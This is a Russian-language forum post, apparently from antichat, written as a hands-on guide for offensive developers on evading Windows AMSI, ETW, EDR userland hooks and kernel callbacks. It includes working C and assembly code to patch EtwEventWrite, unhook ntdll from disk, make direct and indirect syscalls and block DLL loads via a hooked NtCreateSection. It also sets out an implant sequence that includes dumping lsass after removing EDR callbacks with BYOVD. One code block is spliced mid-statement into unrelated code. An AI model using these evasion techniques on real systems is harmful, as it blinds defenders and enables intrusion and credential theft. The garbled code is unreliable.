PDA

Просмотр полной версии : Обход AMSI, ETW, userland hooks и kernel callbacks: практическое руководство для offensive-разработчика в 2026 году


Sergei webware
10.04.2026, 01:23
https://forum.antichat.xyz/attachments/4951441/img_9fa282e6fb.png

За последние два года детект со стороны EDR изменился радикально. То, что работало в 2022-м против Defender, сейчас ловится на стадии загрузки даже бесплатными решениями. Но ядро проблемы осталось тем же: offensive-разработчику нужно понимать не отдельные трюки, а всю цепочку детекта - от архитектуры имплантов до финального обхода EDR (полное руководство по разработке red team инструментов я собрал здесь (https://forum.antichat.xyz/threads/592877/)) - от AMSI-сканирования скриптов до kernel callbacks, которые фиксируют создание процесса ещё до того, как ваш имплант получит первую инструкцию.

Здесь я разберу четыре уровня защиты Windows и покажу конкретные техники обхода, которые работают на момент написания - с кодом, объяснением, почему именно эти байты патчатся, и честным указанием, где каждый подход ломается под серьёзным EDR.
Когда обход AMSI действительно необходим
Скажу прямо: если вы пишете шелл-код лоадер на C/C++ и выполняете позиционно-независимый код через callback-функции или APC - AMSI вам не нужен. AMSI сканирует управляемый код и скриптовые языки: PowerShell, VBScript, JavaScript, VBA-макросы и .NET-сборки, загружаемые через

Assembly.Load()

. Fabian Mosch из r-tec в своём анализе пишет то же самое: добавление AMSI-байпасса в шелл-код лоадер лишь увеличивает количество индикаторов компрометации и шансы спалиться.

Обход AMSI нужен, когда вы:

Загружаете .NET-сборку в память через

Assembly.Load()

из C2-фреймворка

Выполняете PowerShell-скрипты через

Invoke-Expression

или

Add-Type


Работаете с VBA-макросами в Office-документах

Используете

mshta.exe

,

cscript.exe

или

wscript.exe

для загрузки скриптов
Загрузка .NET-сборок и обфускация скриптов мапятся на технику Obfuscated Files or Information (T1027, Defense Evasion) по классификации MITRE ATT&CK, использование

mshta.exe

- на Mshta (T1218.005, Defense Evasion) и Ingress Tool Transfer (T1105, Command and Control), использование

cscript.exe

и

wscript.exe

- на Command and Scripting Interpreter (T1059, Execution), а сам обход защитных механизмов - на Disable or Modify Tools (T1562.001, Defense Evasion).
Обход AMSI в PowerShell и .NET: что работает в 2026
Патчинг AmsiScanBuffer - жив или мёртв
Классический патч

AmsiScanBuffer

- запись

0xC3

(ret) или последовательности, возвращающей

AMSI_RESULT_CLEAN

- по-прежнему работает. Но дьявол в деталях. Проблема не в самом патче, а в том, как вы до него добираетесь.

В 2025 году EDR уровня CrowdStrike и SentinelOne ставят userland hooks на

VirtualProtect

и

WriteProcessMemory

. Любая попытка поменять права доступа к страницам памяти

amsi.dll

или записать данные в её адресное пространство через стандартные API немедленно генерирует телеметрию. Вот что происходит при классическом подходе:

C:



// Классический патч AmsiScanBuffer - ЛОВИТСЯ большинством EDR в 2025
void
*
amsiAddr
=
GetProcAddress
(
GetModuleHandleA
(
"amsi.dll"
)
,
"AmsiScanBuffer"
)
;
DWORD oldProtect
;
VirtualProtect
(
amsiAddr
,
6
,
PAGE_EXECUTE_READWRITE
,
&
oldProtect
)
;
//
Name
;
// IsBlockedDll принимает PUNICODE_STRING и проверяет имя DLL (по хэшу или подстроке)
// Проверка по хэшу пути, а не по строке - устойчивее к детекту
if
(
IsBlockedDll
(
filePath
)
)
{
return
STATUS_OBJECT_NAME_NOT_FOUND
;
// 0xC0000034 - загрузчик считает, что DLL не найдена
}
}
// Для всех остальных DLL - вызов оригинальной функции
return
OriginalNtCreateSection
(
SectionHandle
,
DesiredAccess
,
ObjAttr
,
MaxSize
,
PageAttrs
,
SectionAttrs
,
FileHandle
)
;
}


Тут есть нюанс, на котором многие горели: нельзя возвращать

0xC000047E

(

STATUS_INVALID_IMAGE_HASH

) - это приведёт к вызову

LdrAppxHandleIntegrityFailure

, который убьёт процесс.

STATUS_INVALID_IMAGE_FORMAT

(

0xC000007B

) тоже мимо - загрузчик может показать диалог ошибки или записать событие в Event Log, а это уже IoC. Лучший вариант -

STATUS_OBJECT_NAME_NOT_FOUND

(

0xC0000034

): загрузчик просто решает, что DLL не найдена, и идёт дальше без побочных эффектов.


ETW patching techniques: ослепление телеметрии
ETW (Event Tracing for Windows) - главный канал телеметрии для EDR. Через него летят данные о выделении памяти, манипуляциях с потоками, APC-вызовах и куче всего остального. Подавление ETW маппится на технику Disable Windows Event Logging (T1562.002, Defense Evasion).
Патчинг EtwEventWrite в ntdll
Классика - патч

EtwEventWrite

в

ntdll.dll

, чтобы функция возвращала 0 без реальной отправки событий:

C:



// Патч EtwEventWrite - концептуальный пример
void
*
etwAddr
=
GetProcAddress
(
GetModuleHandleA
(
"ntdll.dll"
)
,
"EtwEventWrite"
)
;
DWORD oldProtect
;
VirtualProtect
(
etwAddr
,
1
,
PAGE_EXECUTE_READWRITE
,
&
oldProtect
)
;
*
(
BYTE
*
)
etwAddr
=
0xC3
;
// ret - функция ничего не делает
VirtualProtect
(
etwAddr
,
1
,
oldProtect
,
&
oldProtect
)
;


Один байт - и userland-ETW ослеп. Но в 2026-м у подхода серьёзные ограничения. Как описывает fluxsec в анализе ETW-детекции в ядре, Remcos RAT использовал именно эту технику - и был пойман EDR, работающим на уровне ядра, через периодическое сканирование целостности памяти

ntdll.dll

. То есть EDR тупо сравнивает in-memory версию ntdll с тем, что лежит на диске, и видит ваш

0xC3

.
ETW Kernel Dispatch Table
По данным того же исследования fluxsec, более продвинутые атаки целятся в ETW Kernel Dispatch Table - внутреннюю структуру ядра, через которую маршрутизируются ETW-события. Руткит Lazarus (FudModule) использовал DKOM (Direct Kernel Object Manipulation) для модификации этих структур. Конкретно:

Обнуление

IsEnabled

-флага ETW GUID Entry для конкретных провайдеров

Модификация масок

ETW_REG_ENTRY

, контролирующих, какие события логируются

Отключение глобальных системных логгеров
Каждая из этих техник работает на уровне ядра и требует загруженного драйвера или эксплойта admin-to-kernel. Для red team-операций (https://forum.antichat.xyz/threads/591114/) это обычно BYOVD (Bring Your Own Vulnerable Driver).
Что реально детектится в 2026
EDR с компонентом в ядре ловит userland-патчинг

ntdll.dll

через:

Периодическое сравнение in-memory кода ntdll с образом на диске

Kernel callbacks на изменение защиты памяти

ETW Threat Intelligence провайдер, который живёт в ядре и на userland-патчи ему плевать
Kernel-level DKOM - задача посложнее. По данным fluxsec, периодическая проверка целостности kernel-структур EDR позволяет обнаружить изменения, но есть окно между модификацией и проверкой. Если атакующий успевает восстановить состояние до следующей проверки (аналогично обходу Kernel Patch Protection), обнаружение становится вопросом вероятности и удачи.
Userland hooks bypass: unhooking и прямые системные вызовы
EDR ставят хуки в

ntdll.dll

, перехватывая

NtAllocateVirtualMemory

,

NtWriteVirtualMemory

,

NtCreateThreadEx

и десятки других функций. Это покрывает технику Process Injection (T1055, Defense Evasion / Privilege Escalation) - любая инъекция в чужой процесс проходит через эти API. Обход реализуется через Native API (T1106, Execution).
Unhooking через чтение ntdll с диска
Классический подход: загружаем чистую копию

ntdll.dll

с диска и перезаписываем .text-секцию текущей (захукленной) копии:

C:



// Unhooking ntdll - чтение чистой копии с диска
HANDLE hFile
=
CreateFileA
(
"C:\\Windows\\System32\\ntdll.dll"
,
GENERIC_READ
,
FILE_SHARE_READ
,
NULL
,
OPEN_EXISTING
,
0
,
NULL
)
;
HANDLE hMapping
=
CreateFileMapping
(
hFile
,
NULL
,
PAGE_READONLY
,
0
,
0
,
NULL
)
;
LPVOID cleanNtdll
=
MapViewOfFile
(
hMapping
,
FILE_MAP_READ
,
0
,
0
,
0
)
;
// Находим .text секцию в чистой копии
PIMAGE_DOS_HEADER dosHeader
=
(
PIMAGE_DOS_HEADER
)
cleanNtdll
;
PIMAGE_NT_HEADERS ntHeaders
=
(
PIMAGE_NT_HEADERS
)
(
(
BYTE
*
)
cleanNtdll
+
dosHeader
->
e_lfanew
)
;
PIMAGE_SECTION_HEADER section
=
IMAGE_FIRST_SECTION
(
ntHeaders
)
;
for
(
int
i
=
0
;
i

FileHeader
.
NumberOfSections
;
i
++
)
{
if
(
!
strcmp
(
(
char
*
)
section
[
i
]
.
Name
,
".text"
)
)
{
LPVOID hookedText
=
(
LPVOID
)
(
(
BYTE
*
)
GetModuleHandleA
(
"ntdll.dll"
)
+
section
[
i
]
.
VirtualAddress
)
;
DWORD oldProtect
;
VirtualProtect
(
hookedText
,
section
[
i
]
.
Misc
.
VirtualSize
,
PAGE_EXECUTE_READWRITE
,
&
oldProtect
)
;
memcpy
(
hookedText
,
(
BYTE
*
)
cleanNtdll
+
section
[
i
]
.
PointerToRawData
,
section
[
i
]
.
Misc
.
VirtualSize
)
;
VirtualProtect
(
hookedText
,
section
[
i
]
.
Misc
.
VirtualSize
,
oldProtect
,
&
oldProtect
)
;
break
;
}
}


Проблема: само чтение ntdll с диска и вызов

VirtualProtect

на .text-секцию - детектируемые паттерны. CrowdStrike Falcon ловит это через мини-фильтр файловой системы и kernel callback на изменение защиты памяти. Лично я на одном проекте видел, как Falcon генерировал алерт ещё до завершения

memcpy

.
Direct syscalls: SysWhispers и его эволюция
Прямые системные вызовы обходят userland hooks, потому что не проходят через захукленные функции в ntdll. Вместо вызова

NtAllocateVirtualMemory

в ntdll, вы вручную помещаете номер syscall в EAX и выполняете

syscall

:

Код:



; Прямой syscall NtAllocateVirtualMemory (пример для демонстрации концепции)
; SSN (System Service Number) меняется между версиями Windows
mov r10, rcx
mov eax, 0x18 ; SSN 0x18 - NtAllocateVirtualMemory на Windows 10 20H2+ и Windows 11
; (проверяйте для конкретного билда). SSN менялись между major-версиями
; и могут отличаться на insider-билдах.
; В production-коде ВСЕГДА резолвите SSN динамически
; (SysWhispers3, HellsGate, Halo's Gate)
syscall
ret


Проблема прямых syscalls в 2026 году: ETW Threat Intelligence провайдер работает в ядре. Он видит сам факт вызова

NtAllocateVirtualMemory

с флагами

PAGE_EXECUTE_READWRITE

- независимо от того, прошёл вызов через ntdll или напрямую. Плюс EDR проверяют, откуда пришёл syscall: если адрес возврата не внутри ntdll - это аномалия, и вас уже разглядывают.
Indirect syscalls
Эволюция direct syscalls - indirect syscalls. Вместо выполнения инструкции

syscall

из своего кода, вы прыгаете на

syscall; ret

гаджет внутри легитимной ntdll. Адрес возврата выглядит «правильно»:

C:



// Indirect syscall - концептуальная схема
// 1. Находим адрес инструкции 'syscall' внутри ntdll
// (сканируем .text секцию на байты 0x0F 0x05 0xC3)
BYTE
*
ntdllBase
=
(
BYTE
*
)
GetModuleHandleA
(
"ntdll.dll"
)
;
// ... поиск паттерна 0x0F, 0x05, 0xC3 в .text секции ...
// 2. Помещаем правильный SSN в EAX
// 3. Прыгаем на найденный адрес syscall в ntdll
// Результат: стек вызовов выглядит легитимно для EDR


Это усложняет детект по call stack, но kernel-level мониторинг никуда не девается.
Kernel callbacks: что видит EDR до вашего первого байта
Kernel callbacks - финальный рубеж, и обойти его из userland без эксплойта или загрузки своего драйвера невозможно. Точка. Ключевые callbacks:

CallbackЧто отслеживаетКак используют EDRPsSetCreateProcessNotifyRoutineСоздание и завершение процессовДетект подозрительных parent-child цепочекPsSetCreateThreadNotifyRoutineСоз дание потоковДетект remote thread injectionPsSetLoadImageNotifyRoutineЗагрузк а образов (DLL/EXE)Детект reflective DLL injectionObRegisterCallbacksОперации с хэндламиЗащита процесса EDR от открытияCmRegisterCallbackОперации с реестромДетект persistence-механизмов

Техника Reflective Code Loading (T1620, Defense Evasion) специально нацелена на обход

PsSetLoadImageNotifyRoutine

- загрузка DLL без вызова

LdrLoadDll

не генерирует уведомления от этого callback.
Что реально можно сделать из userland
Без драйвера убрать kernel callback нельзя. Но можно минимизировать генерируемую телеметрию:

Использовать thread pool (

TpAllocWork

/

TpPostWork

) вместо

CreateThread

для выполнения кода - обходит часть эвристик на создание потоков

Выполнять шелл-код через callback-функции легитимных API (

EnumWindows

,

CertEnumSystemStore

и аналоги) - адрес возврата в стеке выглядит легитимнее

Избегать

PAGE_EXECUTE_READWRITE

при выделении памяти - выделять как

RW

, записывать, менять на

RX

Третий пункт кажется банальным, но я до сих пор вижу публичные лоадеры, которые аллоцируют RWX одним вызовом. В 2026 году это примерно как кричать «я здесь!» в тихой комнате.
Kernel-level evasion: BYOVD и DKOM
Для red team-операций, где в целевой среде стоит EDR уровня CrowdStrike или SentinelOne, единственный надёжный способ разобраться с kernel callbacks - загрузка собственного драйвера через BYOVD. После получения выполнения в ядре можно:

Снять callbacks EDR через модификацию массива

PspCreateProcessNotifyRoutine

- каждый элемент содержит

EX_FAST_REF

указатель на

EX_CALLBACK_ROUTINE_BLOCK

; для доступа к callback нужно замаскировать младшие 4 бита (ref count) и получить адрес структуры. Для нейтрализации можно заменить поле

Function

на указатель на пустую функцию (ret-stub) - простое обнуление создаёт race condition. Более надёжный вариант - полное удаление записи из массива с обновлением

PspCreateProcessNotifyRoutineCount

. Оба варианта требуют тщательного тестирования: некорректная модификация - и привет, BSOD

Закрыть хэндлы EDR к защищённым процессам

Модифицировать ETW-структуры в ядре (описано выше)
По данным исследования Lazarus FudModule (описанного fluxsec), руткит использовал admin-to-kernel zero-day для получения kernel execution и последующей DKOM-манипуляции ETW-структур. Лазарусы, конечно, ребята серьёзные - но сам подход вполне воспроизводим через BYOVD.
Собираем всё вместе: порядок операций для импланта
Практическая последовательность действий, которая минимизирует детект на каждом этапе:


🔓 Часть контента скрыта: Эксклюзивный контент для зарегистрированных пользователей.

Зарегистрироваться
или
Войти

Шаг 1. Лоадер без AMSI-байпасса выполняет шелл-код. Шелл-код позиционно-независимый, AMSI его не видит.

Шаг 2. Из шелл-кода - indirect syscall для

NtAllocateVirtualMemory

с

PAGE_READWRITE

(не RWX!). Записываем полезную нагрузку.

Шаг 3. Меняем защиту на

PAGE_EXECUTE_READ

через indirect syscall

NtProtectVirtualMemory

.

Шаг 4. Если нужно выполнить .NET-сборку или PowerShell - только тогда применяем AMSI-байпасс через hardware breakpoints с

NtContinue

(без генерации ETW TI событий).

Шаг 5. Подавляем ETW в userland через патчинг

EtwEventWrite

- но понимаем, что kernel-level ETW TI это не затронет.

Шаг 6. Для операций, требующих отсутствия kernel-телеметрии (дамп lsass, например), используем BYOVD для снятия kernel callbacks - если это входит в скоуп операции.

Ключевой принцип: каждый байпасс - это дополнительный IoC. Не применяйте обход, если он не нужен для конкретного этапа. Шелл-код лоадер не нуждается в AMSI-байпассе. BOF-модули не нуждаются в отдельном unhooking ntdll, если BOF реализует indirect syscalls через встроенные syscall stubs (InlineWhispers, SysWhispers3 BOF). Стандартные BOF, использующие

BeaconGetProcAddress

для резолва Nt-функций, проходят через захукленную ntdll - и вот тут уже нужно думать.
Что реально работает против конкретных EDR
Я намеренно не даю матрицу «техника X работает против продукта Y» - она устареет через месяц после публикации. Вместо этого - методология проверки:

Разверните целевой EDR в лабе с полной телеметрией (не в режиме «только алерты»)

Выполняйте каждую технику изолированно, анализируя, какие события генерируются

Используйте Process Hacker и x64dbg для инспекции хуков: загрузите ntdll из процесса и сравните пролог каждой Nt-функции с оригиналом на диске

Проверьте, использует ли EDR kernel minifilter - через

fltMC.exe filters


Проверьте kernel callbacks через WinDbg:

!callback

,

dx @$cursession.Processes.Where(p => p.Name == "targetEDR.exe")

Детект эволюционирует постоянно. По наблюдениям fluxsec, даже периодическая проверка целостности kernel-структур может быть обойдена при достаточно быстром восстановлении состояния. Это гонка вооружений, и единственный надёжный подход - тестировать конкретную технику против конкретной версии конкретного EDR. На заборе написано «universal bypass» - но вы-то знаете, что на заборе много чего написано.
Заключение
Обход AMSI, ETW, userland hooks и kernel callbacks - не набор разрозненных трюков, а связанная система, где каждый уровень дополняет предыдущий. В 2026 году ни одна отдельная техника не гарантирует обход EDR корпоративного класса. Патч

AmsiScanBuffer

бесполезен, если вы не разобрались с userland hooks на

VirtualProtect

. Unhooking ntdll бессмысленен, если kernel ETW TI логирует ваши syscalls. Direct syscalls не спасут, если EDR проверяет call stack.

Разверните лабу с целевым EDR и прогоните каждую технику из этой статьи изолированно - посмотрите, что генерирует телеметрию, а что проходит тихо. Именно понимание всей вертикали (от PowerShell-скриптов до kernel callbacks и ETW dispatch tables) отличает рабочий имплант от очередного PoC, который ловится на первой стадии.